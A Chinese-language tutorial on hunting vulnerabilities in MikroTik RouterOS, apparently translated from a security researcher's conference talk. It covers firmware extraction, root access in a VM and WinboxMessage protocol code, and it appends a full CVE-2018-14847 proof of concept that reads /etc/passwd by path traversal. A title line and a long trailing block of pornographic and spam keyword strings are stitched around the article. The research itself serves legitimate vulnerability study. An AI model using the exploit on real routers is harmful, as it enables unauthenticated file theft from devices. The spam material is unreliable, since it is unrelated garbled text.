精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

安全性堪憂:手把手教你尋找MikroTik路由器漏洞

商務(wù)辦公
現(xiàn)在,Zerodium已經(jīng)為MikroTik漏洞支付了6位數(shù)的獎勵,我認(rèn)為這是一個好機(jī)會,可以讓我對RouterOS的漏洞進(jìn)行一次完整分析。其實,任何時候都是研究RouterOS漏洞的好時機(jī),因為這是一個有趣的目標(biāo)。在本文的分析過程中,我發(fā)現(xiàn)了一個新的未授權(quán)漏洞。相信你也可以找到一些漏洞。

 一、前言

最近,我在Slack上收到了很多條私信,這些私信都共同指向同一條推文。

為什么這與我有關(guān)呢?因為上周日,我在Derbycon上發(fā)表了一次關(guān)于在MikroTik的RouterOS中尋找漏洞的演講。

[[257315]]


現(xiàn)在,Zerodium已經(jīng)為MikroTik漏洞支付了6位數(shù)的獎勵,我認(rèn)為這是一個好機(jī)會,可以讓我對RouterOS的漏洞進(jìn)行一次完整分析。其實,任何時候都是研究RouterOS漏洞的好時機(jī),因為這是一個有趣的目標(biāo)。在本文的分析過程中,我發(fā)現(xiàn)了一個新的未授權(quán)漏洞。相信你也可以找到一些漏洞。

二、奠定基礎(chǔ)

現(xiàn)在,想必各位讀者已經(jīng)開始規(guī)劃獎金要如何分配了。但是,還是需要冷靜下來,我們還有一部分準(zhǔn)備工作要做。2.1 獲取軟件最開始,大家其實不必急于在淘寶上購買MikroTik路由器。因為MikroTik在其網(wǎng)站上就提供了RouterOS的ISO鏡像。在下載ISO之后,可以使用VirtualBox或VMWare創(chuàng)建一臺虛擬主機(jī)。


我們從ISO中,可以提取系統(tǒng)文件。

  1. albinolobster@ubuntu:~/6.42.11$ 7z x mikrotik-6.42.11.iso 
  2.   
  3. 7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18 
  4. p7zip Version 9.20 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,4 CPUs) 
  5.   
  6. Processing archive: mikrotik-6.42.11.iso 
  7.   
  8. Extracting  advanced-tools-6.42.11.npk 
  9. Extracting  calea-6.42.11.npk 
  10. Extracting  defpacks 
  11. Extracting  dhcp-6.42.11.npk 
  12. Extracting  dude-6.42.11.npk 
  13. Extracting  gps-6.42.11.npk 
  14. Extracting  hotspot-6.42.11.npk 
  15. Extracting  ipv6-6.42.11.npk 
  16. Extracting  isolinux 
  17. Extracting  isolinux/boot.cat 
  18. Extracting  isolinux/initrd.rgz 
  19. Extracting  isolinux/isolinux.bin 
  20. Extracting  isolinux/isolinux.cfg 
  21. Extracting  isolinux/linux 
  22. Extracting  isolinux/TRANS.TBL 
  23. Extracting  kvm-6.42.11.npk 
  24. Extracting  lcd-6.42.11.npk 
  25. Extracting  LICENSE.txt 
  26. Extracting  mpls-6.42.11.npk 
  27. Extracting  multicast-6.42.11.npk 
  28. Extracting  ntp-6.42.11.npk 
  29. Extracting  ppp-6.42.11.npk 
  30. Extracting  routing-6.42.11.npk 
  31. Extracting  security-6.42.11.npk 
  32. Extracting  system-6.42.11.npk 
  33. Extracting  TRANS.TBL 
  34. Extracting  ups-6.42.11.npk 
  35. Extracting  user-manager-6.42.11.npk 
  36. Extracting  wireless-6.42.11.npk 
  37. Extracting  [BOOT]/Bootable_NoEmulation.img 
  38.   
  39. Everything is Ok 
  40.   
  41. Folders: 1 
  42. Files: 29 
  43. Size:       26232176 
  44. Compressed: 26335232 

MikroTik使用他們自定義的.npk格式封裝了許多軟件。有一個工具可以對它們實現(xiàn)解封裝,但我還是更加傾向于使用binwalk。albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk

  1. albinolobster@ubuntu:~/6.42.11$ binwalk -e system-6.42.11.npk 
  2.   
  3. DECIMAL       HEXADECIMAL     DESCRIPTION 
  4. -------------------------------------------------------------------- 
  5. 0             0x0             NPK firmware header, image size: 15616295, image name"system", description: "" 
  6. 4096          0x1000          Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9818075 bytes, 1340 inodes, blocksize: 262144 bytes, created: 2018-12-21 09:18:10 
  7. 9822304       0x95E060        ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV) 
  8. 9842177       0x962E01        Unix path: /sys/devices/system/cpu 
  9. 9846974       0x9640BE        ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV) 
  10. 9904147       0x972013        Unix path: /sys/devices/system/cpu 
  11. 9928025       0x977D59        Copyright string: "Copyright 1995-2005 Mark Adler " 
  12. 9928138       0x977DCA        CRC32 polynomial table, little endian 
  13. 9932234       0x978DCA        CRC32 polynomial table, big endian 
  14. 9958962       0x97F632        xz compressed data 
  15. 12000822      0xB71E36        xz compressed data 
  16. 12003148      0xB7274C        xz compressed data 
  17. 12104110      0xB8B1AE        xz compressed data 
  18. 13772462      0xD226AE        xz compressed data 
  19. 13790464      0xD26D00        xz compressed data 
  20. 15613512      0xEE3E48        xz compressed data 
  21. 15616031      0xEE481F        Unix path: /var/pdb/system/crcbin/milo 3801732988 
  22.   
  23. albinolobster@ubuntu:~/6.42.11$ ls -o ./_system-6.42.11.npk.extracted/squashfs-root/ 
  24. total 64 
  25. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 bin 
  26. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 boot 
  27. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 dev 
  28. lrwxrwxrwx 1 albinolobster   11 Dec 21 04:18 dude -> /flash/dude 
  29. drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 etc 
  30. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 flash 
  31. drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 home 
  32. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 initrd 
  33. drwxr-xr-x 4 albinolobster 4096 Dec 21 04:18 lib 
  34. drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 nova 
  35. drwxr-xr-x 3 albinolobster 4096 Dec 21 04:18 old 
  36. lrwxrwxrwx 1 albinolobster    9 Dec 21 04:18 pckg -> /ram/pckg 
  37. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 proc 
  38. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 ram 
  39. lrwxrwxrwx 1 albinolobster    9 Dec 21 04:18 rw -> /flash/rw 
  40. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sbin 
  41. drwxr-xr-x 2 albinolobster 4096 Dec 21 04:18 sys 
  42. lrwxrwxrwx 1 albinolobster    7 Dec 21 04:18 tmp -> /rw/tmp 
  43. drwxr-xr-x 3 albinolobster 4096 Dec 21 04:17 usr 
  44. drwxr-xr-x 5 albinolobster 4096 Dec 21 04:18 var 
  45. albinolobster@ubuntu:~/6.42.11$ 

2.2 打開盒子

在尋找漏洞時,如果能訪問目標(biāo)的文件系統(tǒng),那么會很有幫助。如果能夠在本地運行GDB等工具,那么效果也會不錯。但是,RouterOS提供的Shell并不是普通的Unix Shell。它只是RouterOS命令的命令行界面。

幸運的是,我有一個解決方案可以應(yīng)對這些問題。根據(jù)編寫rc.d腳本的S12defconf方式,我們發(fā)現(xiàn)RouterOS將會執(zhí)行存儲在/rw/DEFCONF文件中的任何內(nèi)容。


普通用戶無法訪問該文件,但考慮到虛擬機(jī)和Live CD的獨特性,我們可以借助它來創(chuàng)建文件,并在其中插入所需要的任何命令。要準(zhǔn)確描述這一過程,可能太過復(fù)雜,因此我制作了一個視頻,長度為5分鐘左右,記錄了從虛擬機(jī)安裝到實現(xiàn)Root Telnet訪問的全過程。

視頻:https://youtu.be/OZ11gbF9fwM

通過Root Telnet訪問,現(xiàn)在就可以完全控制虛擬機(jī)。我們可以上傳更多的工具、附加到進(jìn)程、查看日志等。至此為止,我們就已經(jīng)準(zhǔn)備好了,即將開始探索路由器的攻擊面。

三、有人在聽嗎?

借助ps命令,我們可以快速確定網(wǎng)絡(luò)可以訪問到的攻擊面。


看起來,路由器會監(jiān)聽一些眾所周知的端口(HTTP、FTP、Telnet和SSH),但同樣也有一些鮮為人知的端口。端口2000上的btest是帶寬測試服務(wù)。端口8291上的mproxy是WinBox與之接口的服務(wù)。WinBox是一個在Windows上運行的管理工具,它與Telnet、SSH和HTTP接口共享所有的功能。


四、真正的攻擊面

運行ps命令后,我們得到的輸出結(jié)果不太樂觀。看起來,好像只有幾個二進(jìn)制文件能夠作為我們尋找漏洞的目標(biāo)。但事實并非如此。HTTP服務(wù)器和WinBox都使用了自定義的協(xié)議,我將其稱為WinboxMessage,實際代碼稱之為nv::message。該協(xié)議指定應(yīng)該將消息傳遞到哪個二進(jìn)制文件上。事實上,如果安裝了所有軟件包,大約有90多種不同的網(wǎng)絡(luò)可以借助WinboxMessage協(xié)議訪問二進(jìn)制文件。還有一種簡單的方法可以找出我們要尋找漏洞的二進(jìn)制文件。可以在每個包的/nova/etc/loader/*.x3文件中找到一個列表。x3是一個自定義文件格式,所以我寫了一個解析器。在運行后,輸出結(jié)果較長,因此我做了一部分刪減,刪減后輸出結(jié)果如下。

  1. albinolobster@ubuntu:~/routeros/parse_x3/build$ ./x3_parse -f ~/6.42.11/_system-6.42.11.npk.extracted/squashfs-root/nova/etc/loader/system.x3 
  2. /nova/bin/log,3 
  3. /nova/bin/radius,5 
  4. /nova/bin/moduler,6 
  5. /nova/bin/user,13 
  6. /nova/bin/resolver,14 
  7. /nova/bin/mactel,15 
  8. /nova/bin/undo,17 
  9. /nova/bin/macping,18 
  10. /nova/bin/cerm,19 
  11. /nova/bin/cerm-worker,75 
  12. /nova/bin/net,20 
  13. ... 

x3文件還包含每個二進(jìn)制文件的“SYS TO”標(biāo)識符。這是WinboxMessage協(xié)議用于確定應(yīng)處理消息位置的標(biāo)識符。

五、對WinboxMessage的深入分析

在清楚可以接觸到哪些二進(jìn)制文件之后,我們其實還要清楚如何與它們進(jìn)行通信。在本章中,我將介紹幾個例子。

5.1 入門

假如我想和/nova/bin/undo進(jìn)行對話,應(yīng)該從哪里開始?我們首先從一些代碼開始講起。我寫了一些C++代碼,它將完成所有WinboxMessage協(xié)議格式化和會話處理。我還創(chuàng)建了一個可以繼續(xù)構(gòu)建的程序框架,各位讀者可以繼續(xù)完善。

  1. std::string ip; 
  2. std::string port; 
  3. if (!parseCommandLine(p_argc, p_argv, ip, port)) 
  4.     return EXIT_FAILURE; 
  5.   
  6. Winbox_Session winboxSession(ip, port); 
  7. if (!winboxSession.connect()) 
  8.     std::cerr << "Failed to connect to the remote host" 
  9.               << std::endl; 
  10.     return EXIT_FAILURE; 
  11. return EXIT_SUCCESS; 

大家可以看到,Winbox_Session類負(fù)責(zé)連接到路由器,此外它還負(fù)責(zé)身份驗證邏輯以及發(fā)送和接收消息。現(xiàn)在,從上面的輸出中可以看出,/nova/bin/undo有一個SYS TO,標(biāo)識符為17。為了實現(xiàn)undo,我們需要更新代碼,以創(chuàng)建消息,并設(shè)置相應(yīng)的SYS TO標(biāo)識符。

  1. Winbox_Session winboxSession(ip, port); 
  2. if (!winboxSession.connect()) 
  3.     std::cerr << "Failed to connect to the remote host" 
  4.               << std::endl; 
  5.     return EXIT_FAILURE; 
  6.   
  7. WinboxMessage msg; 
  8. msg.set_to(17); 

5.2 命令與控制

每條消息還需要一個命令。正如稍后我們看到的,每個命令都會調(diào)用特定的功能。所有處理程序都使用一些內(nèi)置的命令(0xfe0000–0xfe00016)和一些具有唯一實現(xiàn)的自定義命令。Pop /nova/bin/undo進(jìn)入反匯編程序,并找到nv::Looper::Looper構(gòu)造函數(shù)的唯一代碼交叉引用。

按照我標(biāo)記為undo_handler的偏移到vtable,可以看到以下內(nèi)容。


這里是undo WinboxMessage處理的vtable。有一些函數(shù)直接對應(yīng)我前面提到的內(nèi)置命令(例如:0xfe0001由nv::Handler::cmdGetPolicies負(fù)責(zé)處理)。此外,我還突出標(biāo)記了未知的命令功能,非內(nèi)置命令將在這里實現(xiàn)。由于非內(nèi)置命令通常是最有趣的,所以我們將會跳轉(zhuǎn)到cmdUnknown。我們可以看到,它會從基于命令的跳轉(zhuǎn)表開始。


看起來,命令的編號從0x80001開始。稍微查看代碼后,發(fā)現(xiàn)命令0x80002似乎有一個有用的字符串可以進(jìn)行測試。那么,我們來看看是否可以達(dá)到“無需redo”的代碼路徑。


我們需要更新框架代碼,以請求命令0x80002。我們還需要添加發(fā)送和接收邏輯。

  1. WinboxMessage msg; 
  2. msg.set_to(17); 
  3. msg.set_command(0x80002); 
  4. msg.set_request_id(1); 
  5. msg.set_reply_expected(true); 
  6. winboxSession.send(msg); 
  7.   
  8. std::cout << "req: " << msg.serialize_to_json() << std::endl; 
  9.   
  10. msg.reset(); 
  11. if (!winboxSession.receive(msg)) 
  12.     std::cerr << "Error receiving a response." << std::endl; 
  13.     return EXIT_FAILURE; 
  14.   
  15. std::cout << "resp: " << msg.serialize_to_json() << std::endl; 
  16.      
  17. if (msg.has_error()) 
  18.     std::cerr << msg.get_error_string() << std::endl; 
  19.     return EXIT_FAILURE; 
  20.   
  21. return EXIT_SUCCESS; 

在編譯并執(zhí)行后,我們就得到了想要的“無需redo”。

  1. albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291 
  2. req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]} 
  3. resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]} 
  4. nothing to redo 
  5. albinolobster@ubuntu:~/routeros/poc/skeleton/build$ 

5.3 突破口不止一個

在前面的示例中,我們查看了undo中的主處理程序,該處理程序可以簡單地解析為17。但是,大多數(shù)二進(jìn)制文件都有多個處理程序。在下面的示例中,我們將要檢查/nova/bin/mproxy的第二個處理程序。我非常喜歡這個示例,因為這就是CVE-2018-14847的攻擊面,并且這個示例有助于揭開這些奇怪二進(jìn)制Blob的神秘面紗:

5.4 尋找處理程序

在IDA中打開/nova/bin/mproxy,找到nv::Looper::addHandler導(dǎo)入。在6.42.11中,addHandler只有兩段代碼交叉引用。在這里,很容易識別到我們感興趣的處理程序,也就是第二個處理程序,因為在調(diào)用addHandler之前,處理程序標(biāo)識符被壓入棧中。


如果我們查看將nv::Handler*加載到edi中的位置,我們就會找到處理程序的vtable的偏移量。這個結(jié)構(gòu)看起來有些熟悉:


在這里,我再次強(qiáng)調(diào)了未知的命令功能。這一處理程序的未知命令函數(shù)支持七個命令:

1、打開/var/pckg/中的文件以進(jìn)行寫入;

2、寫入打開的文件;

3、打開/var/pckg/中的文件以進(jìn)行讀取;

4、讀取打開的文件;

5、取消文件傳輸;

6、在/var/pckg/中創(chuàng)建一個目錄;

7、打開/home/web/webfig/中的文件并進(jìn)行讀取。其中,第4、5、7個命令不需要進(jìn)行身份驗證。

5.5 打開文件

我們嘗試使用命令7,在/home/web/webfig/中打開一個文件。這是exploit-db截圖中FIRST_PAYLOAD使用的命令。我們仔細(xì)查看代碼中對命令7的處理,會發(fā)現(xiàn)它首先找到的是一個id為1的字符串。


字符串是我們要打開的文件名。我們來看一下,/home/web/webfig中的哪一個文件比較有趣呢?


事實上,我們在這里看不出來。但在list中,包含已經(jīng)安裝的軟件包和其版本號的列表。我們將打開的文件請求轉(zhuǎn)換為WinboxMessage。返回到我們編寫的代碼,我們需要覆蓋set_to和set_command代碼,還需要插入add_string。因此我又重新修改了代碼。

  1. Winbox_Session winboxSession(ip, port); 
  2. if (!winboxSession.connect()) 
  3.     std::cerr << "Failed to connect to the remote host" 
  4.               << std::endl; 
  5.     return EXIT_FAILURE; 
  6.   
  7. WinboxMessage msg; 
  8. msg.set_to(2,2); // mproxy, second handler 
  9. msg.set_command(7); 
  10. msg.add_string(1, "list"); // the file to open 
  11. msg.set_request_id(1); 
  12. msg.set_reply_expected(true); 
  13. winboxSession.send(msg); 
  14.   
  15. std::cout << "req: " << msg.serialize_to_json() << std::endl; 
  16.   
  17. msg.reset(); 
  18. if (!winboxSession.receive(msg)) 
  19.     std::cerr << "Error receiving a response." << std::endl; 
  20.     return EXIT_FAILURE; 
  21.   
  22. std::cout << "resp: " << msg.serialize_to_json() << std::endl; 

運行此代碼后,我們應(yīng)該能夠看到如下內(nèi)容:

  1. albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291 
  2. req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]} 
  3. resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]} 
  4. albinolobster@ubuntu:~/routeros/poc/skeleton/build$ 

現(xiàn)在,應(yīng)該可以看到服務(wù)器的響應(yīng)中包含u2:1818。眼熟不?

由于運行需要較長時間,因此我把讀取文件內(nèi)容的這部分工作交給讀者自行完成。在CVE-2018-14847的PoC中包含了讀者可能需要的所有提示。

六、總結(jié)

至此,我們已經(jīng)詳細(xì)說明了如何獲取RouterOS軟件并創(chuàng)建虛擬機(jī),并展示了RouterOS的攻擊面,并分析如何進(jìn)入系統(tǒng)二進(jìn)制文件。我分享了用于處理Winbox通信的代碼,并展示了詳細(xì)的使用過程。如果各位讀者還想深入研究協(xié)議的細(xì)節(jié),那么請閱讀我的演講內(nèi)容。至少,我們現(xiàn)在知道,MikroTik的安全性仍然是不容忽視的。附錄:CVE-2018-14847 PoC#include

  1. #include <cstdlib> 
  2. #include <iostream> 
  3. #include <boost/cstdint.hpp> 
  4. #include <boost/program_options.hpp> 
  5. #include <boost/algorithm/string.hpp> 
  6.   
  7. #include "winbox_session.hpp" 
  8. #include "winbox_message.hpp" 
  9.   
  10. namespace 
  11.     const char s_version[] = "CVE-2018-14847 PoC Derbycon 2018 release"
  12.   
  13.     bool parseCommandLine(int p_argCount, const char* p_argArray[], 
  14.                           std::string& p_ip, std::string& p_port) 
  15.     { 
  16.         boost::program_options::options_description description("options"); 
  17.         description.add_options() 
  18.             ("help,h""A list of command line options"
  19.             ("version,v""Display version information"
  20.             ("port,p", boost::program_options::value<std::string>(), "The port to connect to"
  21.             ("ip,i", boost::program_options::value<std::string>(), "The ip to connect to"); 
  22.   
  23.         boost::program_options::variables_map argv_map; 
  24.         try 
  25.         { 
  26.             boost::program_options::store( 
  27.                 boost::program_options::parse_command_line( 
  28.                     p_argCount, p_argArray, description), argv_map); 
  29.         } 
  30.         catch (const std::exception& e) 
  31.         { 
  32.             std::cerr << e.what() << std::endl; 
  33.             std::cerr << description << std::endl; 
  34.             return false
  35.         } 
  36.   
  37.         boost::program_options::notify(argv_map); 
  38.         if (argv_map.empty() || argv_map.count("help")) 
  39.         { 
  40.             std::cerr << description << std::endl; 
  41.             return false
  42.         } 
  43.   
  44.         if (argv_map.count("version")) 
  45.         { 
  46.             std::cerr << "Version: " << ::s_version << std::endl; 
  47.             return false
  48.         } 
  49.   
  50.         if (argv_map.count("ip") && argv_map.count("port")) 
  51.         { 
  52.             p_ip.assign(argv_map["ip"].as<std::string>()); 
  53.             p_port.assign(argv_map["port"].as<std::string>()); 
  54.             return true
  55.         } 
  56.         else 
  57.         { 
  58.             std::cout << description << std::endl; 
  59.         } 
  60.   
  61.         return false
  62.     } 
  63.   
  64. int main(int p_argc, const char** p_argv) 
  65.     std::string ip; 
  66.     std::string port; 
  67.     if (!parseCommandLine(p_argc, p_argv, ip, port)) 
  68.     { 
  69.         return EXIT_FAILURE; 
  70.     } 
  71.   
  72.     Winbox_Session winboxSession(ip, port); 
  73.     if (!winboxSession.connect()) 
  74.     { 
  75.         std::cerr << "Failed to connect to the remote host" << std::endl; 
  76.         return EXIT_FAILURE; 
  77.     } 
  78.   
  79.     WinboxMessage msg; 
  80.     msg.set_to(2, 2); 
  81.     msg.set_command(7); 
  82.     msg.set_request_id(1); 
  83.     msg.set_reply_expected(true); 
  84.     msg.add_string(1, "//./.././.././../etc/passwd"); 
  85.     winboxSession.send(msg); 
  86.   
  87.     msg.reset(); 
  88.     if (!winboxSession.receive(msg)) 
  89.     { 
  90.         std::cerr << "Error receiving a response." << std::endl; 
  91.         return EXIT_FAILURE; 
  92.     } 
  93.   
  94.     boost::uint32_t sessionID = msg.get_session_id(); 
  95.     boost::uint16_t file_size = msg.get_u32(2); 
  96.     if (file_size == 0) 
  97.     { 
  98.         std::cout << "File size is 0" << std::endl; 
  99.         return EXIT_FAILURE; 
  100.     } 
  101.   
  102.     msg.reset(); 
  103.     msg.set_to(2, 2); 
  104.     msg.set_command(4); 
  105.     msg.set_request_id(2); 
  106.     msg.set_reply_expected(true); 
  107.     msg.set_session_id(sessionID); 
  108.     msg.add_u32(2, file_size); 
  109.     winboxSession.send(msg); 
  110.   
  111.     msg.reset(); 
  112.     if (!winboxSession.receive(msg)) 
  113.     { 
  114.         std::cerr << "Error receiving a response." << std::endl; 
  115.         return EXIT_FAILURE; 
  116.     } 
  117.   
  118.     std::string raw_payload(msg.get_raw(0x03)); 
  119.     std::cout << std::endl << "=== File Contents (size: " << raw_payload.size() << ") ===" << std::endl; 
  120.   
  121.     for (std::size_t i = 0; i < raw_payload.size(); i++) 
  122.     { 
  123.         std::cerr << raw_payload[i]; 
  124.     } 
  125.     std::cerr << std::endl; 
  126.   
  127.     return EXIT_SUCCESS; 

 

責(zé)任編輯:武曉燕 來源: 4hou
相關(guān)推薦

2011-08-29 18:03:47

設(shè)置路由器路由器

2009-12-15 16:44:07

水星路由器設(shè)置教程

2009-11-13 15:51:56

路由器配置

2011-08-11 15:20:45

路由器安全

2019-01-29 10:11:41

無線路由器密碼WiFi

2010-08-18 09:15:45

路由器網(wǎng)絡(luò)診斷

2009-03-02 09:33:00

2010-08-03 14:11:23

2010-07-30 15:34:06

路由器口令

2020-10-10 10:10:07

安全漏洞技術(shù)

2016-05-12 11:54:39

2011-05-03 15:59:00

黑盒打印機(jī)

2025-05-07 00:31:30

2011-01-10 14:41:26

2021-07-14 09:00:00

JavaFX開發(fā)應(yīng)用

2010-09-02 13:31:54

2018-10-11 08:15:20

2010-08-26 09:24:59

路由器網(wǎng)絡(luò)診斷

2022-07-22 12:45:39

GNU

2014-07-10 14:48:26

無線路由器
點贊
收藏

51CTO技術(shù)棧公眾號

日韩高清免费av| 337p日本欧洲亚洲大胆张筱雨| 国产在线黄色| 狠狠色综合播放一区二区| 欧美高清视频在线播放| 六十路息与子猛烈交尾| 国产91欧美| 亚洲一区二区av在线| 欧美日韩一区二区视频在线| 国产精品久久久久久久久毛片 | 久草手机在线观看| 日本一区二区高清不卡| 精品久久一区二区| 91国产精品视频在线观看| 18av在线播放| 国产午夜精品一区二区三区嫩草| 成人免费网站在线| 天堂在线免费观看视频| 国产精品99视频| 亚洲毛片在线观看| 日韩视频在线观看一区二区三区| 韩国成人漫画| 亚洲高清免费在线| 综合网五月天| 国产黄在线播放| 99视频精品在线| 亚洲在线www| 中文字幕激情视频| 性xx色xx综合久久久xx| 久久久久久久久久久av| 一区二区三区影视| 日本欧美肥老太交大片| 亚洲精品中文字幕有码专区| 成人在线短视频| www.久久爱.com| 欧美在线观看一二区| 国产午夜伦鲁鲁| 国产理论电影在线| 自拍偷拍亚洲综合| 伊人久久大香线蕉午夜av| 国产污视频在线| 久久久久久影视| 久久精品五月婷婷| 五月婷婷六月丁香综合| 成人av片在线观看| 99高清视频有精品视频| 国产精品爽爽久久久久久| 性娇小13――14欧美| 7m精品福利视频导航| 久久精品免费在线| 欧美亚洲不卡| 欧美激情国产精品| 九九视频免费在线观看| 欧美精品国产一区| 欧美激情网友自拍| 欧美精品入口蜜桃| 亚洲性人人天天夜夜摸| 欧美另类第一页| 欧美黄色免费在线观看| 国产专区一区| 97成人精品视频在线观看| 日本一本高清视频| 夜夜嗨网站十八久久| 欧美亚洲成人免费| а中文在线天堂| 蜜桃一区二区三区在线观看| 国产日韩欧美成人| av观看在线免费| 粉嫩av一区二区三区| 国产久一道中文一区| 日韩成人黄色| 欧美国产视频在线| 一区二区三区av| 影音先锋在线视频| 精品国产福利视频| 91最新在线观看| 91国产精品| 亚洲精品一区二区三区影院| 亚洲av无码一区二区三区观看 | 国产丝袜一区二区三区免费视频| av网站免费在线播放| 九九热爱视频精品视频| www国产精品com| 黄色在线观看免费| 国产精品外国| 国产欧美最新羞羞视频在线观看| 99热这里只有精品99| 成人激情综合网站| 日韩在线第一区| 在线h片观看| 日韩欧美国产视频| 国产无遮挡猛进猛出免费软件| 一区中文字幕电影| 亚洲激情在线观看视频免费| 国产精品免费无码| 国产一区二区中文| 茄子视频成人在线| 99国产精品99| 久久综合久久久久88| 只有这里有精品| 女海盗2成人h版中文字幕| 欧美日韩精品一区二区三区四区| 久久久久中文字幕亚洲精品 | 欧美一区二区三区四| 美国三级日本三级久久99| 99免费在线视频观看| 韩国三级在线观看久| 一区二区三区不卡视频在线观看| 人妻精品无码一区二区三区 | 日韩一卡二卡三卡国产欧美| 粉嫩av蜜桃av蜜臀av| 自拍欧美日韩| 国产精品久久久久久久久久东京| 亚洲春色一区二区三区| 国产精品丝袜久久久久久app| 欧美一级欧美一级| 四虎在线精品| 亚洲欧美日本另类| 久久伊人成人网| 久久99精品国产麻豆不卡| 麻豆久久久av免费| 高清电影在线观看免费| 欧美日韩高清一区| 一道本在线观看| 制服诱惑一区二区| 国产伦精品一区二区三区高清| 午夜免费视频在线国产| 日韩欧美在线播放| 老司机免费视频| 亚洲欧洲美洲一区二区三区| 国产精品91久久久| 黄色片一区二区| 亚洲精品五月天| 亚洲国产成人va在线观看麻豆| 婷婷亚洲精品| 97视频在线观看免费高清完整版在线观看 | 图片小说视频色综合| 国产极品jizzhd欧美| 三区在线观看| 欧美日韩亚洲一区二区三区| caopor在线| 欧美日一区二区在线观看| 91久久国产婷婷一区二区| 色综合久久久久综合一本到桃花网| 在线观看欧美日本| 69视频在线观看免费| 久久综合网络一区二区| 欧美在线激情| 成人在线网站| 国产亚洲人成a一在线v站| 亚洲国产成人精品女人久久| 2欧美一区二区三区在线观看视频 337p粉嫩大胆噜噜噜噜噜91av | 天天做天天爱天天爽综合网| 国产精品一区专区欧美日韩| 在线观看免费黄视频| 51精品视频一区二区三区| 四虎永久免费地址| 国产裸体歌舞团一区二区| 亚洲色图都市激情| 亚洲日本va午夜在线电影| 久久久久久久久久久久久久久久久久av | 美腿丝袜在线亚洲一区| 亚洲人成77777| 不卡精品视频| 久久免费精品日本久久中文字幕| 日本人妻熟妇久久久久久| 懂色av影视一区二区三区| 国产一二三四五区| 极品少妇xxxx偷拍精品少妇| 日韩欧美一级在线| 豆花视频一区二区| 日本亚洲欧洲色| 性开放的欧美大片| 日韩欧美一级片| 欧美日韩综合在线观看| 国产香蕉久久精品综合网| 日本中文字幕影院| 欧美激情综合| 欧美在线一区二区三区四区| 日本中文字幕视频一区| 久久久久久久久久久免费| 久久免费看视频| 欧美一区二区免费| 久久亚洲天堂网| 中文字幕日韩精品一区| 18禁一区二区三区| 首页欧美精品中文字幕| 经典三级在线视频| 亚洲97av| 91在线视频免费| 激情国产在线| 三级精品视频久久久久| 蜜桃久久一区二区三区| 欧美亚洲尤物久久| 国产亚洲精品码| 国产婷婷一区二区| 在线中文字日产幕| 奇米综合一区二区三区精品视频| 日韩一级免费看| 欧美在线观看视频一区| 成人av电影免费| 成人性片免费| 7m精品福利视频导航| 久久久久久久久免费视频| 日韩h在线观看| 91亚洲国产成人久久精品麻豆| 亚洲mv大片欧洲mv大片精品| 欧美自拍偷拍网| 99视频超级精品| 午夜免费视频网站| 日韩高清在线不卡| av在线播放亚洲| 中文无码久久精品| 亚洲一卡二卡| 最新国产一区| 国产亚洲情侣一区二区无| 国产精品高清一区二区| 国产成人久久久| 国产精品一区二区日韩| 综合av色偷偷网| 久久久资源网| 亚洲免费一级电影| 日本美女一级视频| 精品久久久久久无| 午夜老司机福利| 7777精品伊人久久久大香线蕉| 人人爽人人爽人人片av| 精品久久久久久久大神国产| 久草资源在线视频| 亚洲综合精品自拍| 国产av 一区二区三区| 国产精品福利影院| 9.1片黄在线观看| 久久久久国产一区二区三区四区| 黄色免费看视频| 国产a精品视频| 中文字幕人妻无码系列第三区| 久久99久久久久| 中文字幕国产免费| 麻豆成人久久精品二区三区红| 欧美性猛交xxx乱久交| 久久国产日本精品| 日韩中文字幕二区| 久久三级福利| 亚洲激情在线观看视频| 日本欧美大码aⅴ在线播放| 999精品网站| 日韩黄色小视频| a在线观看免费视频| 蜜臀久久99精品久久久久久9| 又色又爽又高潮免费视频国产| 久久久www| 国产又猛又黄的视频| 免费观看在线综合| 亚洲精品性视频| 国产一区在线不卡| 国产又粗又猛又爽又黄| 国产成人免费视频| 欧美xxxx×黑人性爽| 99v久久综合狠狠综合久久| 人妻熟女aⅴ一区二区三区汇编| 91一区二区在线| 欧美黄色一级生活片| 国产精品美女久久久久久久| 91视频青青草| 亚洲国产日韩精品| 国产成人亚洲欧洲在线| 色噜噜狠狠成人中文综合| 在线不卡免费视频| 日韩视频免费直播| 香蕉久久一区二区三区| 国产香蕉97碰碰久久人人| 在线观看二区| 久久999免费视频| 小视频免费在线观看| 国产精品美女久久久免费| 国产乱码精品一区二区三区亚洲人| 91青青草免费在线看| 人体久久天天| 亚洲精品国产精品国自产观看| 中文字幕一区二区三区乱码图片 | 亚洲成人激情图| 国产视频福利在线| 久久国产精品影视| 天堂中文在线播放| 91精品视频在线看| 欧美电影完整版在线观看| 亚洲看片网站| 亚洲狼人精品一区二区三区| av在线无限看| 懂色av一区二区三区免费观看| 91视频在线网站| 亚洲乱码日产精品bd| 亚洲男人的天堂在线视频| 91精品在线观看入口| 男男电影完整版在线观看| 欧美成人免费在线观看| 成人美女大片| 